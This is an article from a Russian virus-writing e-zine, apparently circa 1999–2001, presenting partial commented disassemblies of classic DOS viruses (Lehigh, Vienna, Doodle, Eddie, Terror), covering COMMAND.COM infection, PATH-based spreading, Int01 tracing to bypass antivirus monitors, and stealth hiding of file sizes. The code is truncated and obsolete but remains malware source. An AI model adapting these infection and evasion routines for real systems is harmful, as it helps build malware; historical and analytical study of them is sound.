ZF

                            НАШ ВИРУСНЫЙ МУЗЕЙ
                                  by Drmad

    Введение поэтическое
    Введение техническое
    1. Легенда о динозаврах
    2. Венский вальс
    3. Музыкальная история
    4. Ошибка резидента
    5. Террор из глубины
    Вместо заключения

                                           "Это был вполне приличный
                                           музей..."

                                           А. и Б. Стругацкие
                                           Понедельник начинается в
                                           субботу

                         Введение поэтическое

     История вирусологии,  насчитывающая уже около  полутора  десятков
лет,   полна   таинственных   загадок,   трагических   ошибок,  тяжких
размышлений и ярких озарений.  Но мало кто об этом  вспоминает.  Разве
что  дедушка  Лозинский,  жмурясь  от  солнца,  изредка  перебирает  и
протирает,  разложив  на  лавочке,  запыленные  AidsTest-ы  свои.  Или
иссохший Eddie, дергаясь и брызгая слюной, порывается вдруг рассказать
о своих былых подвигах соседу  по  больничной  палате...  но  тому  не
интересно, да и не слышит он.
     Из такого положения вещей и родилась идея -  попытаться заглянуть
вглубь веков, обмести паутину с музейных полок, и разместить на них...
нет, не поздние переделки и плагиаты, а подлинные реликвии героической
эпохи.   Позвольте   скромному   музейному   работнику   в   сатиновых
нарукавниках,  круглых стальных очках и с указкой в руке, провести вас
по  анфиладам  вновь  открытой  экспозиции  и  в меру своего понимания
что-нибудь показать и растолковать.

                         Введение техническое

     В данной статье рассматриваются некоторые  алгоритмы, примененные
в  классических  вирусах.  Некоторые  из  этих алгоритмов к настоящему
времени  можно  считать  устаревшими,  а  кое-какие  с  самого  начала
содержали  ошибки  и  неточности.  Впрочем,  именно  в  этих  глюках и
содержится подлинный аромат героической эпохи.
     Статья рассчитана  на  подготовленного  читателя.  Новичок  может
разочароваться,  что здесь его не учат,  как писать  вирусы.  Матерому
вирмеру  может  не  понравиться,  что  в статье абсолютно нет ни одной
новой технологи.  Ученый педант  может  не  согласиться  с  некоторыми
выводами   или  интерпретациями  фактов  (например,  какой  вирус  был
исторически "первым", а какой - "вторым"). Ну и фиг с ними всеми J

                   1. Легенда о динозаврах - Lehigh

     Перед этим вирусом хочется благоговейно замереть и снять шляпу. В
самом  деле,  перед  нами  если не САМЫЙ первый MsDos-вирус,  то уж из
первой тройки - точно. По разным оценкам создан где-то в середине 80-х
годов XX века. В вирлистах Данилова и Лозинского очень много ссылок на
этот вирус, но самого описания нет. Описание нашлось у Касперского:

:     Lehigh
:     ------
:     Резидентный очень опасный вирус.  Перехватывает  INT  21h  и
:     записывается  в  середину  файла COMMAND.COM при его запуске
:     или просмотре оглавления,  содержащего COMMAND.COM, функцией
:     FindFirst (AH=4h).
:     Вирус размещается  в  области   стека   COMMAND.COM   и   не
:     увеличивает  его длину.  Изменяет 2-й и 3-й байты файла (JMP
:     Loc_Virus).
:     В теле  вируса  хранится  счетчик,  увеличивающийся на 1 при
:     каждом успешном поражении  очередного  COMMAND.COM.  Счетчик
:     сохраняется  на  диск  только в том случае,  если зараженный
:     COMMAND.COM  был  запущен  с  винчестера.  Иначе   состояние
:     счетчика   обнуляется   при  каждой  перезагрузке  DOS.  При
:     достижении счетчиком значения  4  вирус  стирает  первые  32
:     логических сектора диска, с которого был запущен.

     Итак, Вашему   вниманию   предлагается   знаменитый   "лехайский"
алгоритм заражения командного  процессора  COMMAND.COM.  Основная  его
идея заключается в том,  что вирус приписывается не к концу программы,
а в заполненный нулями стековый хвост  COMMAND.COM-а,  так  что  длина
программы не увеличивается.
     Обратите внимание,  что  несмотря  на   "древность",   в   вирусе
прослеживается ряд типовых приемов, используемых до сих пор, например:
переназначение  Int21  на  другой   вектор   прерывания,   резидентная
установка  в памяти путем манипуляций с MCB,  и пр.  Конечно,  все это
реализовано очень наивно,  нерационально,  и любой современный  вирмер
напишет эти же алгоритмы в два раза короче... но все-таки автор Lehigh
- гений, потому что он был ПЕРВЫМ.

;######################################################################
;##                            Lehigh                                ##
;##Disassembled & commented by DrMad especially for ZF Magazine, 1999##
;######################################################################

Start:
      jmp     loc_17              ; Переходим на вирус
      push    ax                  ; Сохраняем
      push    bx                  ;  регистры
      cmp     ah,4Bh              ; Это запуск программы?
      je      loc_1               ; Да - на инфицирование
      cmp     ah,4Eh              ; Это поиск файла?
      je      loc_1               ; Да - на инфицирование
      jmp     loc_16              ; Отваливаем
loc_1:
      mov     bx,dx               ; Сохраняем смещение имени файла
      cmp     byte ptr [bx+1],':' ; Формат типа X:\FILE.EXT ?
      jne     loc_2               ;
      mov     al,[bx]             ; Берем букву драйва из имени
      jmp     short loc_3         ;
      nop
loc_2:                            ;
      mov     ah,19h              ; Определяем букву текущего
      int     44h                 ;  драйва, если ее нет
      add     al,61h              ;  в имени проги
loc_3:                            ;
      push    ds                  ; Сохраняем регистры
      push    cx                  ;
      push    dx                  ;
      push    di                  ;
      push    cs                  ;
      pop     ds                  ;
      mov     bx, offset COMNAM   ; Смещение X:\COMMAND.COM,0
      mov     [bx],al             ; Генерируем букву драйва вместо X
      mov     dx,bx               ; Смещение сгенеренного имени
      mov     ax,3D02h            ; Открываем файл
      int     44h                 ;  запускаемой проги
      jnc     loc_4               ; OK - дальше
      jmp     loc_15              ; По ошибке отваливаем
loc_4:                            ;
      mov     bx,ax               ;
      mov     ax,4202h            ; Переходим
      xor     cx,cx               ;  на конец
      xor     dx,dx               ;  инфицируемого
      int     44h                 ;  файла
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
; В версиях MSDOS до 6.22 включительно длина файла COMMAND.COM была < 64 Kб
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
      mov     dx,ax                   ; Младшее слово длины
      mov     word ptr ds:[227h],ax   ; Сохраняем длину
      sub     dx,2                    ; Переходим в точку
      mov     ax,4200h                ;  за два байта
      int     44h                     ;  до конца файла
      mov     dx,21Ch                 ; Считываем два последних
      mov     cx,2                    ;  байта
      mov     ah,3Fh                  ;  заражаемой
      int     44h                     ;  проги
      cmp     word ptr ds:[21Ch],65A9h; Сравниваем с 'йе'- это признак
      jne     loc_5                   ; Нет - продолжаем
      jmp     loc_7                   ; Да - отваливаем
loc_5:                                 ;
      xor     dx,dx                   ; Переходим на
      mov     cx,dx                   ;  начало
      mov     ax,4200h                ;  заражаемой
      int     44h                     ;  проги
      mov     cx,3                    ; Считываем три первых
      mov     dx,21Ch                 ;  байта
      mov     di,dx                   ;  заражаемой
      mov     ah,3Fh                  ;  проги
      int     44h                     ;
      mov     ax,[di+1]               ; Это слово смещения в JMP
      add     ax,103h                 ; Рассчитываем новое значение
      mov     word ptr ds:[221h],ax   ;  и сохраняем в своем теле
      mov     dx,word ptr ds:[227h]   ; Берем длину заражаемой проги
      sub     dx,22Ah                 ; Рассчитываем позицию вируса
      dec     dx                      ;  в хвосте проги
      mov     [di],dx                 ; Сохраняем ее в памяти
      xor     cx,cx                   ; Переходим в точку, находящуюся
      mov     ax,4200h                ;  в хвосте проги, достточную,
      int     44h                     ;  чтобы вирь уместился до конца
      mov     al,byte ptr ds:[224h]   ; Это счетчик заражений
      push    ax                      ; Сохраняем его
      mov     byte ptr ds:[224h],0    ; А в зараженную прогу пойдет 0
      mov     cx,22Ah                 ; Длина вируса
      inc     cx                      ;  плюс 1
      xor     dx,dx                   ; Позиция себя в памяти
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
; В версиях MSDOS до 6.22 конец COMMAND.COM занимал пустой стек, длиной до 10 Кб
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
      mov     ah,40h                ; Вписываем себя
      int     44h                   ;  в хвост проги, за Virlen байт до конца
      pop     ax                    ; Восстанавливаем прежнее
      mov     byte ptr ds:[224h],al ;  значение счетчика
      xor     cx,cx                 ; Переходим
      mov     dx,1                  ;  на 2-й по счету
      mov     ax,4200h              ;  байт
      int     44h                   ;  заражаемой проги
      mov     ax,[di]               ; Это позиция вируса
      add     ax,191h               ; Рассчитываем смещение точки входа
      sub     ax,3                  ;  в вирус по JMP
      mov     [di],ax               ; Сохраняем ее
      mov     dx,di                 ; Вписываем
      mov     cx,2                  ;  это смещение, начиная
      mov     ah,40h                ;  со 2-го байта
      int     44h                   ;  проги
      inc     byte ptr ds:[224h]    ; Инкремент счетчика заражений
      cmp     byte ptr ds:[224h],4  ; Уже 4?
      jb      loc_6                 ; Нет - продолжаем
      jmp     short loc_10          ; Да - на деструкцию
      nop                           ;
loc_6:                              ;
;--------------------------------------------------------------------
; Неинтересный блок манипулирования со счетчиком заражений, разрешающий
;  инкрементирование только для COMMAND.COMов, зараженных на винте,
;  а не на дискете
;--------------------------------------------------------------------
      ....
      jmp     short loc_15      ;
      nop
;--------------------------------------------------------------------
; Блок деструкции
;--------------------------------------------------------------------
loc_10:                         ;
      ....
      nop
      mov     ah,9              ; Выдаем
      mov     dx, offset MESSAG ;  сообщеньице, лежащее
                                ;  где-то в теле
                                ;  конкретной версии COMMAND.COM
      int     44h               ;  в конце деструкции
      pop     ds
;--------------------------------------------------------------------
; Блок завершения обработчика
;--------------------------------------------------------------------

loc_16:                            ;
      pop     bx                   ; Восстановление
      pop     ax                   ;  регистров
      jmp     dword ptr cs:[18Dh]  ; Передача управления на Int21
      ....
;--------------------------------------------------------------------
; Весьма традиционная часть вируса,
;  устанавливающая резидентный обработчик Int21,
;  возвращающая управление в COMMAND.COM и пр.
;--------------------------------------------------------------------
loc_17:
      call    sub_1
sub_1:
      pop     si
      sub     si,3
      ....
;--------------------------------------------------------------------
; Блок данных
;--------------------------------------------------------------------
COMNAM db      'X:\COMMAND.COM',0
SIGN   dw      'йе'
       end     start

     Как относиться к вышеописанному алгоритму? Очевидно, что он и его
модификации могут работать только в MsDOS версий до 6.22 включительно,
где командный процессор COMMAND.COM имел COM-формат и  был  короче  64
Кб.  Но вот я залез внутрь COMMAND.COM от Win95/DOS7 и обнаружил,  что
внутри файла достаточно много пустых кусков размером в несколько сотен
байт  и  пара  пустых  кусков  размерами  по  5-10  Кб.  Эти фрагменты
достаточно   просто   обнаружить    простым    сканированием.    Жизнь
"лехайского" алгоритма продолжается?

                2. Венский вальс - Vienna.684

     Написан в Германии (или все-таки в Австрии?) примерно в  1988  г.
Именно этот вирус подробно разобрал,  откомментировал и вставил в свою
книжку  Ральф  Бюргер.  Именно  этот  вирус   так   "полюбился"   Н.Н.
Лозинскому,  что  тот  даже  опубликовал его (порезанный) дамп в своей
"Компьютерной  вирусологии".  Именно  этот  вирус   породил   огромное
количество  подражаний  в конце 80-х годов XX века.  Именно этот вирус
изредка вставлял в начало COM-файлов JMP F000:FFF0,  за что и  получил
прозвище "Time Bomb".  И именно этот вирус жил в те времена чуть ли не
на каждой машине.
     Формально -   это  search-вирус,  т.е.  вирус,  ищущий  цели  для
заражения при помощи  AH=4h/4Fh.  Но  не  в  текущем  каталоге.  И  не
поиском по всему диску. А только в каталогах, которые указаны в PATH.
     Наверно, тогда это казалось  мистикой:  только  запустил  больную
программу...  не  было  никакого  подозрительного жевания диска...  но
сразу почти все COM-файлы  в  совершенно  разных  каталогах  оказались
заражены.
     Как это делалось на самом деле - смотрите сами.

;######################################################################
;##                            Vienna.684                            ##
;##Disassembled & commented by DrMad especially for ZF Magazine, 2000##
;######################################################################
start:
        jmp  loc_12
        ....
loc_12:
        push  cx
        mov  dx,413h     ; Смещение в файле
        cld
        mov  si,dx       ; Классически
        add  si,data_6e  ;  восстанавливаем
        mov  di,100h     ;  три первых
        mov  cx,3        ;  байта
        rep  movsb       ;  жертвы
        mov  si,dx       ; Смещение теперь в SI
        mov  ah,30h      ; Проверяем номер
        int  21h         ;  версии DOS (10 лет
        cmp  al,0        ;  назад это было актуально)
        jne  loc_13      ; Вроде OK
        jmp  loc_31      ; Отваливаем для MSDOS v1.0
loc_13:
        push es          ; Сохраняем позицию
        mov  ah,2Fh      ;  DTA. Еще автор Vienn-ы
        int  21h         ;  понимал важность
        mov  ds:[si+0],bx;  этого! А до сих
        nop              ;  пор многие
        mov  ds:[si+2],es;  забывают. K
        pop  es
        mov  dx,data_14e
        nop
        add  dx,si
        mov  ah,1Ah      ; Устанавливаем новую
        int  21h         ;  позицию DTA
        push es
        push si
        mov  es,ds:PSP_envirn_seg ; Адресуемся
        mov  di, 0                ;  на среду
;********************************************************************;
;* До сих пор среда в ДОСе размещается по адресу [ds:2Ch]:0         *;
;* и вначале содержит туеву хучу параметров и строк SET,            *;
;* (в том числе и PATH-строку), потом слово 1 - и имя программы.    *;
;********************************************************************;
loc_14:
        pop   si
        push  si
        add   si, 1Ah    ; Адресуемся на ключевое слово 'PATH'
        lodsb            ; Берем в al 1-ю букву 'P'
        mov   cx,8000h   ;
        repne scasb      ; Ищем ее в среде
        mov   cx,4       ; Нашли -
locloop_15:
        lodsb            ; сравниваем остальные,
        scasb            ; т.е. 'A', 'T' и 'H'.
        jnz   loc_14     ; Не совпало - повторяем поиск
        loop  locloop_15
                         ; Вроде совпало,
                         ;  теперь ES:DI указывает на
                         ;  первый байт после 'PATH='
        pop   si
        pop   es
        mov   ds:data_10e[si],di ; Запомним эту позицию
        mov   di,si
        add   di,data_13e ; Устанавливаем указатели
        mov   bx,si       ;  на область данных,
        add   si,data_13e ;  где будем формировать
        mov   di,si       ;  маску поиска
        jmp   short loc_21
loc_16:
        cmp   word ptr ds:data_10e[si],0 ; В конце строки 'PATH' ?
        jne   loc_17                     ; Нет - продолжаем цикл
        jmp   loc_30                     ; Да - отваливаем
loc_17:
        push  ds
        push  si
        mov   ds,es:PSP_envirn_seg ; Снова адресуемся на среду
        mov   di,si
        mov   si,es:data_10e[di]
        add   di,data_13e          ; Текущий указатель в среде
loc_18:
        lodsb                      ; Грузим очередной символ
        cmp   al,";"               ; Если ";",
        je    loc_20               ;  то конец имени каталога - на поиск
        cmp   al,0                 ; Если 0,
        je    loc_19               ;  то тоже самое
        stosb                      ; Пока не конец, копируем
        jmp   short loc_18         ;  в цикле байтики имени каталога
loc_19:
        mov   si,0
loc_20:
        pop   bx
        pop   ds
        mov   ds:data_10e[bx],si
        cmp   byte ptr [di-1],5Ch  ; Если в конце имени каталога
        je    loc_21               ;  отсутствует "\",
        mov   al,"\"               ;  то надо его
        stosb                      ;  докопировать
loc_21:
        mov   ds:data_11e[bx],di
        mov   si,bx
        add   si,data_9e           ; Адрес маски '*.COM'
        mov   cx,6                 ; Копируем ее в хвост тропы
        rep   movsb
        mov   si,bx
        mov   ah,4Eh               ; Ищем файлы по маске
        mov   dx,data_13e          ;  (причем при первом проходе
        nop                        ;   цикла - в текущем каталоге,
        add   dx,si                ;   т.к. сначала тропа пуста)
        mov   cx,3
        int   21h

        jmp   short loc_23
loc_22:
        mov   ah,4Fh               ; Повторяем поиск
        int   21h                  ;  для остальных файлов по маске
                                   ;
loc_23:
        jnc   loc_24               ; Если что-то нашли
        jmp   short loc_16         ; Если ничего не нашли
loc_24:
;********************************************************************;
;*      Классическое и скучное заражение COM-файла (пропускаем)     *;
;********************************************************************;
        ...
        jmp   loc_16

     Я 100 лет не работал в чистом ДОСе.  И вот, запустив в ДОС-сессии
Маздая команду PATH на своем компьютере, я увидел что-то вроде:

     PATH=C:\W98;C:\W98\COMMAND;C:\SYS;C:\TS\SYS;C:\BC45\BIN

     Причем первые  два  имени  каталога  вставляются  в тропу Маздаем
автоматически, всегда в начало.  Никаких новых мыслей по поводу  этого
обстоятельства не появилось, а?

             3. Музыкальная история - Doodle.2885

     Знаменитишей вирус  (другие   названия   -   M2C,   Янки   Дудль,
Музыкальный  и  пр.),  в начале 90-х годов живший чуть ли не на каждом
компьютере.  В 5 часов вечера,  когда пора было  собираться  с  работы
домой, M2C провожал сотрудников бодрым маршем Jankee Doodle Dandy.
     Описания этого вируса есть почти во всех  вирлистах.  Но  хочется
привести  фрагмент  из  книжки Н.Безрукова "Компьютерная вирусология".
Попытайтесь   проникнуться   иррациональной   атмосферой   мистики   и
суеверного ужаса, царившей в умах юзеров тех героических лет:

:     ...Вирус RCE-2885   проверяет,   загружается   ли   файл   с
:     защищенной дискеты  или  нет.  Поэтому  он  не  препятствует
:     загрузке  любого СОМ-файла с защищенной дискеты. Резидентная
:     часть  вируса  не  обнаруживается  путем  просмотра   списка
:     резидентных  программ  (с помощью утилит MAP,  SMAP,  MMAP и
:     т.д.). При этом вирус не детектируется программой RELEASE, а
:     попытка  запустить  RELEASE  на зараженной машине приводит к
:     выдаче  сообщения  о  том,  что  RELEASE  не   может   стать
:     резидентным.  Вирус  обходит  контроль резидентных фильтров,
:     следящих за записью  в  программные  файлы.  ...При  попытке
:     дизассемблирования    дизассемблером    Sourcer,   а   также
:     трассировке  на  зараженной   машине,   наблюдается   эффект
:     "самоизлечения" файлов...

     Одной из   самых   любопытных  черт  этого  вируса  был  механизм
трассировки ДОС-овского прерывания  с  целью  обнаружения  "истинного"
адреса обработчика.

;######################################################################
;##                            Doodle.2885                           ##
;##Disassembled & commented by DrMad especially for ZF Magazine, 1999##
;######################################################################
        ...
; Берем из таблицы векторов текущий адрес Int01
        mov   ax,3501
        int   21h
        mov   si,bx ; смещение сохраняем в si
        mov   di,es ; сегмент сохраняем в di

................ [ порезано ] .............................

; Устанавливаем свой обработчик Int01
        mov   ax,2501h
        mov   dx,offset Int01
        int   21h
; Формируем в стеке адреса выхода из трассировки
; так, чтобы по iret из 21h попаcсть сразу на Next

................ [ порезано ] .............................

        pushf         ; Флаги

................ [ порезано ] .............................

; К этому моменту ax = offset Next
        push  cs      ; Сегмент точки выхода
        push  ax      ; Смещение точки выхода (offset Next)
        cli
; Манипулируем с битом Т в регистре флагов
        pushf         ; Сохраняем флаги в стеке
        pop   ax      ; Выгружаем их в ax
        or    ax,100h ; Устанавливаем в ax бит Т
        push  ax      ; Сохраняем флаги с битом T=1 в стеке

................ [ порезано ] .............................

; Сейчас cs:ax содержит адрес текущего  обработчика Int21
        push  cs      ; Сегмент точки перехода	
        push  ax      ; Смещение точки перехода
        iret          ; Фактически, Int21h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;                     Обработчик Int01                   ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Int01:
                      ; В этот момент в стеке:
                      ;  ss:[bp+6] флаги
                      ;  ss:[bp+4] cs
                      ;  ss:[bp+2] ip
        push  bp
                      ;  ss:[bp]   bp
        mov   bp,sp
;
        cmp   byte ptr cs:data_50e,1 ; Флаг продолжения = 1 ?
        je    loc_64                 ; Да - продолжаем
loc_63:                              ; Нет - кончаем
        and   word ptr [bp+6],0FEFFh ; В флагах бит T := 0
        mov   byte ptr cs:data_50e,0 ; Флаг продолжения := 0
        pop   bp
        iret                         ; Выходим из обработки
loc_64:
        cmp   word ptr [bp+4],300h ; cs в стеке < 300h ???
        jb    loc_65               ; Да - дошли до ДОС
        pop   bp                   ; Нет - трассируем далее
        iret                       ;
loc_65:
        push  bx
        mov   bx,[bp+2]            ; Берем из стека ip ДОС
        mov   cs:data_38e,bx       ; Сохраняем
        mov   bx,[bp+4]            ; Берем из стека cs ДОС
        mov   word ptr cs:data_38e+2,bx ; Сохраняем
        pop   bx
        jmp   short loc_63         ;
; Фрагмент восстановления из трассировки
Next:
        mov   byte ptr ds:data_50e,0 ; Флаг продолжения = 0
; Восстанавливаем прежнее значение Int01
        mov   ax,2501h
        mov   dx,si
        mov   ds,di
        int   21h

     Можно и короче,  и корректней,  но...  но это же Doodle  by  Dark
Avenger!

               4. Ошибка резидента - Eddie.651

     Еще одна  классика.  Именно  с  этого  вируса  началась "карьера"
великого Dark Avenger-a. Это потом были и Eddie Lives, и Nomenklatura,
и MtE... А сперва появился скромный и незатейливый "Эдик".
     Обычный резидент,  классически заражающий COM и EXE программы при
их   запуске.  Плюс  один  маленький  нюансик,  сделавший  этот  вирус
знаменитым. Для того, чтобы отличать зараженные файлы от незараженных,
"Эдик"  прописывал  во  времени  создания  зараженных файлов метку "62
секунды". А чтобы  этого   не  было  заметно,  резидентно  обрабатывал
функции поиска файлов, скрывал меточку и заодно уменьшал видимые длины
программ -   одна   из   первых   в    истории    попыток    применить
Stealth-технологию (если не самая первая) !
     Но при этом забывал  проверить  длину  файла.  И  если  она  была
маленькой, а меточка "62" присутствовала, то получалось что-то вроде:

     C\> dir
     Содержимое каталога C:\DOS\

     ASSIGN COM            5 164 09.04.91 5:00
     DISKCOPY COM         13 335 27.09.93 6:20
     FORMAT COM           22 737 27.09.93 6:20
     HELP COM      4 294 967 278 27.09.93 6:20 ; А должно быть 413
     MODE COM             23 569 27.09.93 6:20
     MORE COM              2 545 27.09.93 6:20
     SYS COM               9 432 27.09.93 6:20
     UNFORMAT COM         12 738 27.09.93 6:20

     Вот этот   знаменитый   кусок   знаменитого   вируса  (обработчик
прерывания Int21h):

;######################################################################
;##                            Eddie.651                             ##
;##Disassembled & commented by DrMad especially for ZF Magazine, 2000##
;######################################################################

           ...
Int21:
    sti
    cmp  AX,4B00h   ; Это запуск программы?
    je   Exec
    cmp  AH,11h     ; Это поиск 1-го файла?
    je   Search_FCB
    cmp  AH,12h     ; Это поиск следующего файла?
    je   Search_FCB
    cmp  AX,0A55Ah  ; Это проверка пароля?
    je   Reply
    jmp  Others
Search_FCB:
    pushf
    call dword ptr cs:Save_Ofs21 ; Выполнить поиск,
                                 ;  результат пойдет
                                 ;  в текущую DTA
    test AL,AL     ; По ошибке
    jnz  loc_ret_6 ;  отваливаем
    push AX
    push BX
    push ES
    mov  BX,DX     ; Адрес блока управления файлами
    mov  AL,[BX]
    push AX
    mov  AH,2Fh
    int  21h       ; Взять текущий DTA, куда
                   ;  пошел результат
    pop  AX
    inc  AL
    jnz  loc_4     ; Использовался обычный FCB
    add  BX,7      ;  или расширенный?
loc_4:
    mov  AX,es:[BX+17h] ; Время создания файла
    and  AL,1Fh         ; Число секунд
    cmp  AL,1Fh         ;  = 62?
    jne  loc_5          ; Нет - просто отваливаем
    and  byte ptr es:[BX+17h],0E0h ; Спрятать видимые 62 секунды
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    sub  word ptr es:[BX+1Dh],28Bh ; Уменьшить видимую длину файла
    sbb  word ptr es:[BX+1Fh],0    ;  программы на VirLen,
                                   ;  не проверив ее длину !!!
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
loc_5:
    pop  ES
    pop  BX
    pop  AX
loc_ret_6:
    iret
;----------------------------------------------------------
Reply:
    not  AX
    iret
;---------------------- [ Порезано ] -----------------------
Exec:
           ...
;-----------------------------------------------------------
 Others:
    jmp  dword ptr cs:Save_Ofs21
    mov  AL,3
    iret
    ...

             5. Террор из глубины  - Terror.1085

     Чтобы избежать  блокировки  со  стороны  антивирусных  мониторов,
вирусы  стремятся  обнаружить  "истинный"  адрес  обработчика  ДОС   и
передавать туда управление командами CALL или JMP. Способы обнаружения
разные и подробно описаны,  например,  в моей статье (также куски этой
статьи можно найти в "знаменитой" книжке И.Гульева) в журнале MoonBug:
     - можно трассировать обработчики через Int1;
     - можно забить области ДОС однобайтовыми командами  Int3, вызвать
систему через Int21 и ждать, из какой точки памяти вернется отклик;
     - можно сканировать области ДОС на характерные последовательности
команд типа: NOP/NOP/CALL/JMP...
     А можно заранее знать эти адреса и просто выбирать их из таблицы,
в зависимости от версии системы.
     Одна из первых в истории попытка применить метод предопределенных
адресов была применена в вирусе Terror.1085 (правда, только для версий
3.0,  3.1 и 3.30).  Если вирус всречал какую-то иную версию  (например
4.0  от  1990  г.),  то  от  расстройства  хреначил  всю информацию на
винчестере (вместе с собой). Поэтому и сохранился только в коллекциях.
J

;######################################################################
;##                            Terror.1085                           ##
;##Disassembled & commented by DrMad especially for ZF Magazine, 1999##
;######################################################################
         ...
d_108   dw      17D0h
............ [ порезано ] ............................
d_10C   dw      0F7Ah
............ [ порезано ] ............................
loc_7:
        mov  ah,30h   ; Запросить  код
        int  21h      ; версии ДОС
        mov  bx,102h
        cmp  ax,0A03h ; Это 3.10 ?
        jne  loc_8    ; Нет - идем дальше
        mov  ax,70h   ; Сегмент = 70h
        mov  bx,0D43h ; Смещение = 0D43h
        mov  es,ax
        cmp  byte ptr es:[bx],2Eh ; Правильный байт = 2Eh ?
        jne  loc_9                ; Нет - значит а/в монитор
        mov  ax,bx                ;
        jmp  short loc_10         ; На заполнение адреса
loc_8:
        add  bx,4
        cmp  ax,1403h ; Это 3.20 ?
        je   loc_9    ; Да - на loc_9
        add  bx,4     ; Нет - идем дальше
        cmp  ax,1E03h ; Это 3.30 ?
        je   loc_9    ; Да - на loc_9
                      ; Нет - фрагмент возмездия K((
............... [ порезано ] ............................
loc_9:
        mov  ax,cs:[bx+2] ; Смещение точки входа из таблицы
                          ; cs:108h или cs:10Ch
loc_10:
        mov  dx,cs:[bx]
        mov  cs:data_18,ax  ; Смещение
        mov  cs:data_19,70h ; Сегмент = 70h
        ...

    Прием используется и  сейчас  -  для  обнаружения  адресов
функций в KERNEL-е различных версий Windows.

                      Вместо заключения

    "К чему это все?" - спросите Вы.  - "В наш век I-Worm-ов и
Win32-вирусов вспоминать какую-то седую древность..."
    Отвечу цитатой:
    "Who controls  past,  controls   present.   Who   controls
present, controls  future..." (с) Red Alert...  тьфу,  я хотел
сказать: (с) Бисмарк. J
    Подумайте, и поймете.

                 ... продолжение следует ...
  ... в планах - Brain, Jerusalem, Cascade, Dir-1024 и пр...

---------------------------------------------------------------
(с) Constantin E. Сlimentieff, 1991-2001
mailto: drmad@chat.ru * http://www.chat.ru/~drmad


(C) NF, 1998-2004